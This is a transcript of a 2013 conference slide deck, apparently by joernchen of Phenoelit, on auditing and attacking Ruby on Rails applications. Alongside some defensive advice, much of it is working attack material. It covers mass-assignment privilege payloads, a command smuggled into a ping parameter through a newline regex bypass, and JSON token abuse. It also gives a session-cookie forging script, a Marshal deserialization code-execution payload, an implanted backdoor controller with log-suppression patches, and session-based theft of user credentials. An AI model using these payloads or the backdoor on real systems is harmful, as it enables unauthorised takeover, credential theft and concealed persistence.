Upgrade to Pro — share decks privately, control downloads, hide ads and more …

<3 Ruby on Rails <3

joernchen of Phenoelit
October 24, 2013
400

<3 Ruby on Rails <3

#t2'13

joernchen of Phenoelit

October 24, 2013
Tweet

Transcript

  1. Useful tools Besides the usual Audit tools and a Ruby

    installation the following is quite handy: chruby brakeman RubyMine
  2. | - - a p p O v e r

    v i e w | | - - a s s e t s | | | - - . . . | | - - c o n t r o l l e r s | | - - h e l p e r s | | - - m a i l e r s | | - - m o d e l s | ` - - v i e w s | ` - - l a y o u t s | - - c o n f i g | | - - e n v i r o n m e n t s | | - - i n i t i a l i z e r s | ` - - l o c a l e s | - - d b | - - d o c | - - l i b | | - - a s s e t s | ` - - t a s k s | - - l o g | - - p u b l i c | - - s c r i p t | - - t e s t | | - - . . . | - - t m p | ` - - c a c h e | ` - - a s s e t s ` - - v e n d o r | - - a s s e t s | | - - j a v a s c r i p t s | ` - - s t y l e s h e e t s ` - - p l u g i n s
  3. MVC MVC is a software architecture pattern which splits up

    the software in three different domains: Model: Holds the softwares' data and typically implements the business logic View: Takes care of the data representation towards the user Controller: Entry point for the users' input towards the application
  4. The models are located in A Model in RoR a

    p p / m o d e l s c l a s s P o s t < A c t i v e R e c o r d : : B a s e v a l i d a t e s _ p r e s e n c e _ o f : t i t l e a t t r _ a c c e s s i b l e : b o d y , : t i t l e e n d Here we can see parts of the business logic, namely v a l i d a t e s _ p r e s e n c e _ o f : t i t l e , which enforces that a title is set within each post.
  5. Database View on the Model For a quick overview look

    at d b / s c h e m a . r b A c t i v e R e c o r d : : S c h e m a . d e f i n e ( : v e r s i o n = > 2 0 1 3 0 3 0 8 1 3 0 6 5 1 ) d o c r e a t e _ t a b l e " p o s t s " , : f o r c e = > t r u e d o | t | t . t e x t " t i t l e " t . t e x t " b o d y " t . d a t e t i m e " c r e a t e d _ a t " , : n u l l = > f a l s e t . d a t e t i m e " u p d a t e d _ a t " , : n u l l = > f a l s e e n d [ . . . ]
  6. The views are located in A View in RoR a

    p p / v i e w s < p i d = " n o t i c e " > < % = n o t i c e % > < / p > < p > < b > T i t l e : < / b > < % = @ p o s t . t i t l e % > < / p > < p > < b > B o d y : < / b > < % = @ p o s t . b o d y % > < / p > < % = l i n k _ t o ' E d i t ' , e d i t _ p o s t _ p a t h ( @ p o s t ) % > | < % = l i n k _ t o ' B a c k ' , p o s t s _ p a t h % > Views are typically written in ERB. This looks like above, a mixture of HTML and Ruby.
  7. The controllers are located in A Controller in RoR a

    p p / c o n t r o l l e r s c l a s s P o s t s C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r [ . . . ] d e f s h o w @ p o s t = P o s t . f i n d ( p a r a m s [ : i d ] ) r e s p o n d _ t o d o | f o r m a t | f o r m a t . h t m l # s h o w . h t m l . e r b f o r m a t . j s o n { r e n d e r j s o n : @ p o s t } e n d e n d
  8. Controller - Filters A controller can define several filters: before_filter

    after_filter skip_before_filter skip_after_filter around_filter
  9. Controller - Filters Typical filter usage: c l a s

    s U s e r s C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r l a y o u t ' a d m i n ' b e f o r e _ f i l t e r : r e q u i r e _ a d m i n , : e x c e p t = > : s h o w [ . . . ] e n d
  10. Default to_json scaffold c l a s s A p

    p l i c a t i o n C o n t r o l l e r < A c t i o n C o n t r o l l e r : : B a s e [ . . . ] r e s p o n d _ t o : h t m l , : o n l y = > [ : i n d e x , : s h o w , : a u t o _ c o m p l e t e ] r e s p o n d _ t o : j s r e s p o n d _ t o : j s o n , : x m l , : e x c e p t = > : e d i t c l a s s U s e r s C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r [ . . ] # G E T / u s e r s / 1 # G E T / u s e r s / 1 . j s o n # G E T / u s e r s / 1 . x m l d e f s h o w r e s p o n d _ w i t h ( @ u s e r ) e n d
  11. Mass Assignments d e f s i g n u

    p @ u s e r = U s e r . n e w ( p a r a m s [ : u s e r ] ) @ u s e r . s a v e e n d So we go ahead and post: u s e r [ n a m e ] = h a c k e r & u s e r [ a d m i n ] = 1
  12. How to not do it: Mass Assignments d e f

    u p d a t e @ u s e r = U s e r . f i n d ( p a r a m s [ : i d ] ) p a r a m s [ : u s e r ] . d e l e t e ( : a d m i n ) # m a k e s u r e t o p r o t e c t a d m i n f l a g r e s p o n d _ t o d o | f o r m a t | i f @ u s e r . u p d a t e _ a t t r i b u t e s ( p a r a m s [ : u s e r ] ) [ . . . ]
  13. How to not do it: Mass Assignments d e f

    u p d a t e @ u s e r = U s e r . f i n d ( p a r a m s [ : i d ] ) p a r a m s [ : u s e r ] . d e l e t e ( : a d m i n ) # m a k e s u r e t o p r o t e c t a d m i n f l a g r e s p o n d _ t o d o | f o r m a t | i f @ u s e r . u p d a t e _ a t t r i b u t e s ( p a r a m s [ : u s e r ] ) [ . . . ] Multiparameter attributes to the rescue! Just POST: u s e r [ a d m i n ( 1 ) ] = 1
  14. Mass Assignments How to do it right: Put a t

    t r _ p r o t e c t e d or a t t r _ a c c e s s i b l e in the model: c l a s s U s e r < A c t i v e R e c o r d : : B a s e a t t r _ p r o t e c t e d : a d m i n , : s u s p e n d e d _ a t [ . . . ] e n d
  15. Regular Expressions $ p e r l - e '

    $ a = " f o o \ n b a r " ; $ a = ~ / ^ f o o $ / ? p r i n t " m a t c h " : p r i n t " n o m a t c h " ' n o m a t c h $ r u b y - e ' a = " f o o \ n b a r " ; i f a = ~ / ^ f o o $ / ; p u t s " m a t c h " ; e l s e p u t s " n o m a t c h " ; e n d ' m a t c h
  16. Regular Expressions c l a s s P i n

    g C o n t r o l l e r < A p p l i c a t i o n C o n t r o l l e r d e f p i n g i f p a r a m s [ : i p ] = ~ / ^ \ d { 1 , 3 } \ . \ d { 1 , 3 } \ . \ d { 1 , 3 } \ . \ d { 1 , 3 } $ / r e n d e r : t e x t = > ` p i n g - c 4 # { p a r a m s [ : i p ] } ` e l s e r e n d e r : t e x t = > " I n v a l i d I P " e n d e n d e n d The above regex is bypassable like: $ c u r l l o c a l h o s t : 3 0 0 0 / p i n g / p i n g - H " C o n t e n t - T y p e : a p p l i c a t i o n / j s o n " - - d a t a \ ' { " i p " : " 1 2 7 . 0 . 0 . 9 9 9 \ n i d " } '
  17. The MySQL surprise m y s q l > S

    E L E C T 1 2 3 F R O M d u a l W H E R E 1 = " 1 s o m e s t r i n g " ; + - - - - - + | 1 2 3 | + - - - - - + | 1 2 3 | + - - - - - + 1 r o w i n s e t , 1 w a r n i n g ( 0 . 0 0 s e c ) m y s q l > S E L E C T 1 2 3 F R O M d u a l W H E R E 1 = " s o m e s t r i n g " ; E m p t y s e t , 1 w a r n i n g ( 0 . 0 0 s e c ) m y s q l > S E L E C T 1 2 3 F R O M d u a l W H E R E 0 = " s o m e s t r i n g " ; + - - - - - + | 1 2 3 | + - - - - - + | 1 2 3 | + - - - - - + 1 r o w i n s e t , 1 w a r n i n g ( 0 . 0 0 s e c )
  18. Because json: The token will be an array of integers

    when ending up in the find_by* method Why does this matter? U s e r . f i n d _ b y _ p a s s w o r d _ r e s e t _ t o k e n ( p a r a m s [ : t o k e n ] ) c u r l h t t p : / / h o . s t / u s e r / r e s e t _ p a s s - H ' C o n t e n t - T y p e : a p p l i c a t i o n / j s o n ' \ - - d a t a - b i n a r y ' { " t o k e n " : [ 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 0 ] } '
  19. Code Execution As usual you should watch out for stuff

    like: ` c o m m a n d # { u s e r _ i n p u t } ` p o p e n s y s t e m % x e v a l . . .
  20. Code Execution the Ruby way send(symbol [, args...]) → obj

    Invokes the method identified by symbol, passing it any arguments specified. You can use _ _ s e n d _ _ if the name send clashes with an existing method in obj. When the method is identified by a string, the string is converted to a symbol.
  21. Code Execution the Ruby way s e n d (

    u i 1 , u i 2 ) is what to look for Imagine u i 1 = " i n s t a n c e _ e v a l " and u i 2 = " s o m e r u b y c o d e "
  22. Code Execution the Ruby way So we have: s e

    n d _ _ s e n d _ _ p u b l i c _ s e n d t r y to look for as well
  23. Sessions Rails' sessions are by default held client side in

    a cookie. This cookie holds the session hash in the following form: B 6 4 B l o b - - S H A 1 H M A C _ o f _ B 6 4 B l o b Where the B 6 4 B l o b is the serialized (M a r s h a l . d u m p ( s e s s i o n ) ) value of the session hash
  24. Sessions Looking at them: $ i r b 1 .

    9 . 3 p 1 9 4 : 0 0 1 > r e q u i r e ' r a i l s / a l l ' = > t r u e 1 . 9 . 3 p 1 9 4 : 0 0 2 > c = " B A h 7 B 0 k i D 3 N l c 3 N p b 2 5 f a W Q G O g Z F R k k i J T c 5 M z h l N z c 2 M T V h N " + " 2 Y 0 M W Q y Z m M 4 N T h j N W E 3 Z T E 1 M z B l B j s A V E k i E F 9 j c 3 J m X 3 R v a 2 V u B j s A R k k i M W J N W k F C M 3 V " + " P S H p K V 3 M z S m 1 Y Q X d n O T Q 4 N l B n Z G 5 Q a j Q z Y V N r N k 9 S c D d E M 2 M 9 B j s A R g = = " = > " B A h 7 B 0 k i D 3 N l c 3 N p b 2 5 f a W Q G O g Z F R k k i J T c 5 M z h l N z c 2 M T V h N 2 Y 0 M W Q y Z m M 4 N T h j N W " + " E 3 Z T E 1 M z B l B j s A V E k i E F 9 j c 3 J m X 3 R v a 2 V u B j s A R k k i M W J N W k F C M 3 V P S H p K V 3 M z S m 1 Y Q X d " + " n O T Q 4 N l B n Z G 5 Q a j Q z Y V N r N k 9 S c D d E M 2 M 9 B j s A R g = = " 1 . 9 . 3 p 1 9 4 : 0 0 3 > m = B a s e 6 4 . d e c o d e 6 4 c = > " \ x 0 4 \ b { \ a I \ " \ x 0 F s e s s i o n _ i d \ x 0 6 : \ x 0 6 E F I \ " % 7 9 3 8 e 7 7 6 1 5 a 7 f 4 1 d 2 f c 8 5 8 c 5 a " + " 7 e 1 5 3 0 e \ x 0 6 ; \ x 0 0 T I \ " \ x 1 0 _ c s r f _ t o k e n \ x 0 6 ; \ x 0 0 F I \ " 1 b M Z A B 3 u O H z J W s 3 J m X A w g " + " 9 4 8 6 P g d n P j 4 3 a S k 6 O R p 7 D 3 c = \ x 0 6 ; \ x 0 0 F " 1 . 9 . 3 p 1 9 4 : 0 0 5 > M a r s h a l . l o a d m = > { " s e s s i o n _ i d " = > " 7 9 3 8 e 7 7 6 1 5 a 7 f 4 1 d 2 f c 8 5 8 c 5 a 7 e 1 5 3 0 e " , " _ c s r f _ t o k e n " = > " b M Z A B 3 u O H z J W s 3 J m X A w g 9 4 8 6 P g d n P j 4 3 a S k 6 O R p 7 D 3 c = " }
  25. Sessions The secret to the HMAC lies usually in c

    o n f i g / i n i t i a l i z e r s / s e c r e t _ t o k e n . r b Many devs are not aware of this file and happily check it into their open source projects. With knowledge of the HMAC secret we can do pretty fancy stuff.
  26. Sessions Signing them: # ! / u s r /

    b i n / r u b y # S i g n a c o o k i e i n R o R s t y l e r e q u i r e ' b a s e 6 4 ' r e q u i r e ' o p e n s s l ' h a s h t y p e = ' S H A 1 ' k e y = " s e c r e t _ k e y _ o f _ t h e _ a p p " c o o k i e = { " u s e r _ i d " = > 1 } c = B a s e 6 4 . s t r i c t _ e n c o d e 6 4 ( M a r s h a l . d u m p ( e v a l ( " # { c o o k i e } " ) ) ) . c h o m p d i g e s t = O p e n S S L : : H M A C . h e x d i g e s t ( O p e n S S L : : D i g e s t : : D i g e s t . n e w ( h a s h t y p e ) , k e y , c ) p u t s ( " # { c } - - # { d i g e s t } " ) For a handy script check out https://github.com/joernchen/evil_stuff/
  27. Remember Kids! What has been HMACed cannot be un-HMACed A.k.a.

    once you got the cookie, it is valid to the app until the secret is exchanged
  28. Code Execution via Sessions Hi, my name is: c l

    a s s D e p r e c a t e d I n s t a n c e V a r i a b l e P r o x y < D e p r e c a t i o n P r o x y # : n o d o c : d e f i n i t i a l i z e ( i n s t a n c e , m e t h o d , v a r = " @ # { m e t h o d } " ) @ i n s t a n c e , @ m e t h o d , @ v a r = i n s t a n c e , m e t h o d , v a r e n d p r i v a t e d e f t a r g e t @ i n s t a n c e . _ _ s e n d _ _ ( @ m e t h o d ) e n d d e f w a r n ( c a l l s t a c k , c a l l e d , a r g s ) A c t i v e S u p p o r t : : D e p r e c a t i o n . w a r n ( " # { @ v a r } i s d e p r e c a t e d ! " + " C a l l # { @ m e t h o d } . # { c a l l e d } i n s t e a d o f # { @ v a r } . # { c a l l e d } . " + " A r g s : # { a r g s . i n s p e c t } " , c a l l s t a c k ) e n d e n d
  29. Code Execution via Sessions m o d u l e

    A c t i v e S u p p o r t m o d u l e D e p r e c a t i o n c l a s s D e p r e c a t i o n P r o x y # : n o d o c : [ . . . ] p r i v a t e d e f m e t h o d _ m i s s i n g ( c a l l e d , * a r g s , & b l o c k ) w a r n c a l l e r , c a l l e d , a r g s t a r g e t . _ _ s e n d _ _ ( c a l l e d , * a r g s , & b l o c k ) e n d e n d
  30. Code Execution via Sessions d e f b u i

    l d _ c o o k i e c o d e = " e v a l ( ' w h a t e v e r r u b y c o d e ' ) " m a r s h a l _ p a y l o a d = R e x : : T e x t . e n c o d e _ b a s e 6 4 ( " \ x 0 4 \ x 0 8 " + " o " + " : \ x 4 0 A c t i v e S u p p o r t : : D e p r e c a t i o n : : D e p r e c a t e d I n s t a n c e V a r i a b l e P r o x y " + " \ x 0 7 " + " : \ x 0 E @ i n s t a n c e " + " o " + " : \ x 0 8 E R B " + " \ x 0 6 " + " : \ x 0 9 @ s r c " + M a r s h a l . d u m p ( c o d e ) [ 2 . . - 1 ] + " : \ x 0 C @ m e t h o d " + " : \ x 0 B r e s u l t " ) . c h o m p d i g e s t = O p e n S S L : : H M A C . h e x d i g e s t ( O p e n S S L : : D i g e s t : : D i g e s t . n e w ( " S H A 1 " ) , S E C R E T _ T O K E N , m a r s h a l _ p a y l o a d ) m a r s h a l _ p a y l o a d = R e x : : T e x t . u r i _ e n c o d e ( m a r s h a l _ p a y l o a d ) " # { m a r s h a l _ p a y l o a d } - - # { d i g e s t } " e n d This vector was found by in the process of exploiting CVE-2013-0156. Charlie Somerville
  31. "In ruby, you don't ask where the bathroom is, you

    just redefine it to be wherever you are and then shit all over everything." @rev_null
  32. O b j e c t . c l a

    s s _ e v a l < < P E N G c l a s s B a c k d o o r C o n t r o l l e r < A c t i o n C o n t r o l l e r : : B a s e d e f i n d e x r e n d e r : t e x t = > " o h a i " e n d e n d P E N G
  33. Add a route to your backdoor functional enhancement R a

    i l s . a p p l i c a t i o n . r o u t e s . a p p e n d { m a t c h " / p w n d / " = > " b a c k d o o r # i n d e x " } R a i l s . a p p l i c a t i o n . r o u t e s . i n s t a n c e _ v a r i a b l e _ s e t ( : @ f i n a l i z e d , f a l s e ) R a i l s . a p p l i c a t i o n . r o u t e s . f i n a l i z e ! r e n d e r : t e x t = > ' i m p l a n t e d '
  34. O b j e c t . c l a

    s s _ e v a l < < P E N G c l a s s B a c k d o o r C o n t r o l l e r < A c t i o n C o n t r o l l e r : : B a s e b e f o r e _ f i l t e r : s h u t u p a f t e r _ f i l t e r : t a l k d e f i n d e x r e n d e r : t e x t = > " o h a i " e n d d e f s h u t u p @ r l e v e l = R a i l s . l o g g e r . l e v e l @ a l e v e l = A c t i v e R e c o r d : : B a s e . l o g g e r . l e v e l R a i l s . l o g g e r . l e v e l = 3 1 3 3 7 A c t i v e R e c o r d : : B a s e . l o g g e r . l e v e l = 3 1 3 3 7 e n d d e f t a l k R a i l s . l o g g e r . l e v e l = @ r l e v e l A c t i v e R e c o r d : : B a s e . l o g g e r . l e v e l = @ a l e v e l e n d e n d P E N G
  35. L o g g e r . s e n

    d : a l i a s _ m e t h o d , : a d d _ o r i g , : a d d L o g g e r . c l a s s _ e v a l < < K E K E d e f a d d ( s e v e r i t y , m e s s a g e = n i l , p r o g n a m e = n i l , & b l o c k ) m = m e s s a g e . d u p i f m . n i l ? m = y i e l d e n d r e t u r n n i l i f m = ~ / B a c k d o o r / i a d d _ o r i g ( s e v e r i t y , m e s s a g e , p r o g n a m e , & b l o c k ) e n d K E K E
  36. R a i l s : : R a c

    k : : L o g g e r . s e n d : a l i a s _ m e t h o d , : s t a r t e d _ r e q u e s t _ m e s s a g e _ o r i g , : s t a r t e d _ r e q u e s t _ m e s s a g e R a i l s : : R a c k : : L o g g e r . c l a s s _ e v a l < < P W N d e f s t a r t e d _ r e q u e s t _ m e s s a g e ( r e q u e s t ) r e t u r n n i l i f r e q u e s t . f i l t e r e d _ p a t h = ~ / p w n d / s t a r t e d _ r e q u e s t _ m e s s a g e _ o r i g ( r e q u e s t ) e n d P W N A c t i o n C o n t r o l l e r : : L o g S u b s c r i b e r . s e n d : a l i a s _ m e t h o d , : p r o c e s s _ a c t i o n _ o r i g , : p r o c e s s _ a c t i o n A c t i o n C o n t r o l l e r : : L o g S u b s c r i b e r . c l a s s _ e v a l < < O H A I d e f p r o c e s s _ a c t i o n ( e v e n t ) r e t u r n n i l i f e v e n t . p a y l o a d [ : p a t h ] = ~ / p w n d / p r o c e s s _ a c t i o n _ o r i g ( e v e n t ) e n d O H A I
  37. Put the above as payload in the session cookie. And

    the session will contain login and password of the first user. Exfiltrate via Cookie a = { } a [ " l o g i n " ] = U s e r . f i r s t . l o g i n a [ " p a s s " ] = U s e r . f i r s t . p a s s w o r d { " f o o " = > a }
  38. request.remote_ip d e f c a l c u l

    a t e _ i p c l i e n t _ i p = @ e n v [ ' H T T P _ C L I E N T _ I P ' ] f o r w a r d e d _ i p s = i p s _ f r o m ( ' H T T P _ X _ F O R W A R D E D _ F O R ' ) r e m o t e _ a d d r s = i p s _ f r o m ( ' R E M O T E _ A D D R ' ) c h e c k _ i p = c l i e n t _ i p & & f o r w a r d e d _ i p s . p r e s e n t ? & & @ m i d d l e w a r e . c h e c k _ i p i f c h e c k _ i p & & ! f o r w a r d e d _ i p s . i n c l u d e ? ( c l i e n t _ i p ) r a i s e I p S p o o f A t t a c k E r r o r , " I P s p o o f i n g a t t a c k ? ! " \ " H T T P _ C L I E N T _ I P = # { @ e n v [ ' H T T P _ C L I E N T _ I P ' ] . i n s p e c t } " \ " H T T P _ X _ F O R W A R D E D _ F O R = # { @ e n v [ ' H T T P _ X _ F O R W A R D E D _ F O R ' ] . i n s p e c t } " e n d n o t _ p r o x y = c l i e n t _ i p | | f o r w a r d e d _ i p s . l a s t | | r e m o t e _ a d d r s . f i r s t n o t _ p r o x y | | i p s _ f r o m ( ' R E M O T E _ A D D R ' , : a l l o w _ p r o x i e s ) . f i r s t e n d